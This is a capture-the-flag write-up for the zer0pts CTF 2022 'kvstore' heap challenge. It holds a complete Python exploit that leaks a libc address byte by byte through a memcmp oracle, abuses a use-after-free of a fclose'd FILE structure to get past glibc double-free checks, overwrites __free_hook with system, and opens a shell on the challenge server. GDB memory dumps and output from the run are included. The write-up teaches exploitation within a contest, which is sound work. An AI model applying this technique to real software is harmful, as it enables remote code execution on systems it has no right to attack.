zer0pts CTF 2022 - kvstore

Do you want a heap exploitation challenge? This is the one.

nc pwn1.ctf.zer0pts.com 9005

Attachment: kvstore.tar.gz xpl.py

Team: Super HexaGoN

1. add
2. get
3. del
4. save
x. exit
> 

kvstore looked like your usual heap challenge on the first glance, providing a linked list of Items

typedef struct _Item {
  char *key;
  double value;
  struct _Item *next;
} Item;

But when skimming through the code, no obvious bug in the Item implementation was seen. It created, freed the notes in a safe way. The only thing that stand out, was the item_lookup

/* Find item by key */
size_t key_len = readline("Key: ", &key);
Item *item = item_lookup(key, key_len);
...
Item *item_lookup(const char *key, size_t keylen) {
  for (Item *cur = top; cur != NULL; cur = cur->next) {
    if (memcmp(key, cur->key, keylen) == 0)
      return cur; /* Found item */
  }
  return NULL; /* Item not found */
}

Since it uses memcmp and we control key and keylen, this can be used to leak values behind the key by bruteforcing them byte by byte. So, let’s start with that to get leaks out of our way.

def exploit(r):
  r.recvuntil("> ")

  add("X"*(0x500-8), 1)     
  free("X"*(0x500-8))         

  add("C"*(0x80-8), 1)      # creates chunk in freed bigger chunk

Here, we’re just preparing the key chunks in such a way, that some libc main arena pointers will be available behind a key.

0x555555559470:	0x00007ffff7fbff60	0x0000000000000791
0x555555559480:	0x5858585858585858	0x5858585858585858    <= big key chunk
0x555555559490:	0x5858585858585858	0x5858585858585858
0x5555555594a0:	0x5858585858585858	0x5858585858585858
0x5555555594b0:	0x5858585858585858	0x5858585858585858
0x5555555594c0:	0x5858585858585858	0x5858585858585858
0x5555555594d0:	0x5858585858585858	0x5858585858585858
...

after free

0x555555559470:	0x00007ffff7fbff60	0x0000000000000791
0x555555559480:	0x00007ffff7fc3be0	0x00007ffff7fc3be0    <= freed key chunk
0x555555559490:	0x0000000000000000	0x0000000000000000
0x5555555594a0:	0x5858585858585858	0x5858585858585858
0x5555555594b0:	0x5858585858585858	0x5858585858585858
0x5555555594c0:	0x5858585858585858	0x5858585858585858
0x5555555594d0:	0x5858585858585858	0x5858585858585858
0x5555555594e0:	0x5858585858585858	0x5858585858585858

after allocating smaller chunk

0x555555559470:	0x00007ffff7fbff60	0x0000000000000101
0x555555559480:	0x4343434343434343	0x4343434343434343    <= smaller key chunk
0x555555559490:	0x4343434343434343	0x4343434343434343
0x5555555594a0:	0x4343434343434343	0x4343434343434343
0x5555555594b0:	0x4343434343434343	0x4343434343434343
0x5555555594c0:	0x4343434343434343	0x4343434343434343
0x5555555594d0:	0x4343434343434343	0x4343434343434343
0x5555555594e0:	0x4343434343434343	0x4343434343434343
0x5555555594f0:	0x4343434343434343	0x0000000000000000
0x555555559500:	0x00007ffff7fc3be0	0x00007ffff7fc3be0    <= main arena ptrs
0x555555559510:	0x0000000000000000	0x0000000000000000
0x555555559520:	0x5858585858585858	0x5858585858585858
0x555555559530:	0x5858585858585858	0x5858585858585858
0x555555559540:	0x5858585858585858	0x5858585858585858
0x555555559550:	0x5858585858585858	0x5858585858585858
0x555555559560:	0x5858585858585858	0x5858585858585858
0x555555559570:	0x5858585858585858	0x0000000000000691

Now, we can just brute force the libc address byte per byte by trying to access the corresponding item and check, if it’s accessable or not.

def testval(k):
  r.sendline("2")
  r.sendlineafter(": ", k)
  resp = r.recvline()[:-1]
  r.recvuntil("> ")
  return not ("Item not found" in resp)

def brute_addr():
  result = ""

  for i in range(6):
    for ch in range(0, 256):
      if ch == 0xa:
        continue

      test = "C"*(0x80-8)
      test += p64(0)
      test += result + chr(ch)

      resp = testval(test)

      if resp:
        log.info("Found valid byte: %s" % hex(ch))
        result += chr(ch)
        break

  return result.ljust(8, "\x00")

...
LIBCLEAK = u64(brute_addr())
libc.address = LIBCLEAK - 96 - 0x10 - libc.symbols["__malloc_hook"]

log.info("LIBC leak     : %s" % hex(LIBCLEAK))
log.info("LIBC          : %s" % hex(libc.address))
[*] Found valid byte: 0xe0
[*] Found valid byte: 0x3b
[*] Found valid byte: 0xfc
[*] Found valid byte: 0xf7
[*] Found valid byte: 0xff
[*] Found valid byte: 0x7f
[*] LIBC leak     : 0x7ffff7fc3be0
[*] LIBC          : 0x7ffff7dd7000

Having a libc leak is a good start, but still we need to find a way to either get an arbitrary write or corrupt memory at all.

But there was still this weird save functionality

FILE *fp;
int is_saved;

if (!(fp = fopen("/dev/null", "w"))) {
  /* We use /dev/null for experimental purpose */
  perror("/dev/null");
  return 1;
}

...

case 4: { /* save */
  item_write_all(fp);
  is_saved = 1;
  puts("Items saved");
  break;
}

How should writing notes to /dev/null help at all and what was it meant for? But since the Item functionality seemed to be quite safe, some iofile exploitation might be needed, why else would this file pointer be included.

Taking a closer look at the exit functionality made it clearer

default: { /* exit */
  char ans;
  fclose(fp);

  if (!is_saved) {
    /* Ask when list is not saved */
    puts("The latest item list has not been saved yet.");
    puts("Would you like to discard the changes? [y/N]");
    scanf("%c%*c", &ans);
    if (ans != 'y' && ans != 'Y')
      break;
    }

    puts("Bye (^o^)ノシ");
    return 0;
  }

Trying to exit, will fclose the fp structure, before asking, if you really want to exit. Thus trying to exit but then going back into the application will result in an uaf, since the fp structure is freed.

While this felt like the right direction, another issue occured, as the fp structure has a 0x1e0 size, but since the challenge used getline to read the key, you could only create either a 0x100 or 0x1f0 chunk for new keys. Thus tcache would never serve us the freed fp chunk to manipulate it.

We would need to get the fp chunk out of tcache first, but for that we would need to free a chunk with size 0x1e0 at least 7 times. But since we cannot create such a chunk for ourself, the only possibility would be to free the fp chunk itself multiple times.

Experimenting in that direction brought up some strange behaviour in fclose.

add("X"*(0x1e0-8), 1)
fake_exit()                 # free fp
add("X"*(0x1000-8), 1)
save()

add("X"*(0x1e0-8), 1)
fake_exit()                 # free fp
add("X"*(0x1000-8), 1)
save()

Calling save and thus fprintf on the freed fp seemed to avoid the double free validation when freeing it again.

gef➤  x/30gx 0x0000555555559000
0x555555559000:	0x0000000000000000	0x0000000000000291
0x555555559010:	0x0000000000000000	0x0000000100000000
0x555555559020:	0x0000000000000000	0x0000000700000000
0x555555559030:	0x0000000000000000	0x0000000000000000
0x555555559040:	0x0000000000000000	0x0000000000000002  <= freed count 2
0x555555559050:	0x0000000000000000	0x0000000000000000
0x555555559060:	0x0000000000000000	0x0000000000000000
0x555555559070:	0x0000000000000000	0x0000000000000000
0x555555559080:	0x0000000000000000	0x0000000000000000
0x555555559090:	0x0000000000000000	0x0000000000000000
0x5555555590a0:	0x0000000000000000	0x0000000000000000
0x5555555590b0:	0x0000000000000000	0x0000000000000000
0x5555555590c0:	0x0000555555559c30	0x0000000000000000
0x5555555590d0:	0x0000000000000000	0x0000000000000000
0x5555555590e0:	0x0000000000000000	0x0000000000000000
0x5555555590f0:	0x0000000000000000	0x0000000000000000
0x555555559100:	0x0000555555559cd0	0x0000000000000000
0x555555559110:	0x0000000000000000	0x0000000000000000
0x555555559120:	0x0000000000000000	0x0000000000000000
0x555555559130:	0x0000000000000000	0x0000000000000000
0x555555559140:	0x0000000000000000	0x0000000000000000
0x555555559150:	0x0000000000000000	0x0000000000000000
0x555555559160:	0x0000000000000000	0x0000000000000000
0x555555559170:	0x00005555555592a0	0x0000000000000000  <= freed fp struct
0x555555559180:	0x0000000000000000	0x0000000000000000
0x555555559190:	0x0000000000000000	0x0000000000000000
0x5555555591a0:	0x0000000000000000	0x0000000000000000
0x5555555591b0:	0x0000000000000000	0x0000000000000000
0x5555555591c0:	0x0000000000000000	0x0000000000000000
0x5555555591d0:	0x0000000000000000	0x0000000000000000

gef➤  x/30gx 0x00005555555592a0
0x5555555592a0:	0x00005555555592a0	0x0000555555559010  <= fp struct (pointing to itself)
0x5555555592b0:	0x000055555555bdd0	0x000055555555bdd0
0x5555555592c0:	0x000055555555bdd0	0x000055555555bdd0
0x5555555592d0:	0x000055555555ddd0	0x0000000000000000
0x5555555592e0:	0x0000000000000000	0x0000000000000000
0x5555555592f0:	0x0000000000000000	0x0000000000000000

By doing this repeatedly, we’ll free the fp struct over and over again pushing it out of tcache into a normal freed bin.

for i in range(7):
  add("X"*(0x1e0-8), 1)
  fake_exit()                 # free fp (tcache handled)
  add("X"*(0x1000-8), 1)
  save()

add("X"*(0x1e0-8), 1)
fake_exit()                 # free fp (now normal bin)
gef➤  p main_arena
$1 = {
  mutex = 0x0,
  flags = 0x0,
  have_fastchunks = 0x0,
  fastbinsY = {0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0},
  top = 0x55555555dfc0,
  last_remainder = 0x55555555caa0,
  bins = {0x555555559290, 0x55555555caa0, 0x7ffff7fb7bf0 <main_arena+112>, 0x7ffff7fb7bf0 <main_arena+112>

So, now it’s possible to split the freed fp struct freed chunk by just adding a key with a length smaller than 0x100, which will then be put into the freed chunk enabling us to overwrite the fp struct.

We can use that to overwrite _IO_buf_base and _IO_buf_end, which will be used in the next save to determine the buffer, which the fp structs uses to buffer the data to write. By aligning those addresses around __free_hook, we can use that to overwrite it.

payload = p64(0) + p64(0)                                         # flags      / read_ptr
payload += p64(0) + p64(0)                                        # read_end   / read_base
payload += p64(0) + p64(0)                                        # write_base / write_ptr
payload += p64(0) + p64(libc.symbols["__free_hook"]-0x80-0x150)   # write_end  / buf_base
payload += p64(libc.symbols["__free_hook"]+6) + p64(0x0)          # buf_end    / save_base
payload += p64(0) + p64(0)
payload += p64(0) + p64(0)
payload += p64(0) + p64(0)
payload += p64(0) + p64(libc.bss()+0x1000)
payload += p64(0) + p64(0)
payload += p64(0) + p64(0)

add(payload, 1)                 # overwrite fp struct
save()                          # overwrite free_hook
gef➤  x/gx 0x7ffff7fc5e48
0x7ffff7fc5e48:	0x0000585858585858

Looks good, so all there’s left, is to put system in our key at a position, so that it will land in __free_hook (instead of those Xs) and free a key containing /bin/sh.

payload = "A"*0x1d0
payload += p64(libc.symbols["system"])

for i in range(7):
  add(payload, 1)
  fake_exit()                 # free fp (tcache handled)
  add("A"*(0x1000-8), 1)
  save()

...

add("/bin/sh\x00", 2)

# delete key /bin/sh
r.sendline("3")
r.sendlineafter("Key: ", "/bin/sh")
$ python xpl.py 1
[*] '/media/sf_ctf/zero/kvstore/kvstore/libc-2.31.so'
	Arch:     amd64-64-little
	RELRO:    Partial RELRO
	Stack:    Canary found
	NX:       NX enabled
	PIE:      PIE enabled
[+] Opening connection to pwn1.ctf.zer0pts.com on port 9005: Done
[*] Found valid byte: 0xe0
[*] Found valid byte: 0x9b
[*] Found valid byte: 0x7c
[*] Found valid byte: 0x46
[*] Found valid byte: 0xae
[*] Found valid byte: 0x7f
[*] LIBC leak     : 0x7fae467c9be0
[*] LIBC          : 0x7fae465dd000
[*] Switching to interactive mode
$ ls
chall
flag-e3e5116a5012f26b775d5ef5fdc2ec46.txt
$ cat flag-e3e5116a5012f26b775d5ef5fdc2ec46.txt
zer0pts{fclose-fwrite-fclose_2_byp4ss_d0ubl3_fr33_d3t3ct10n}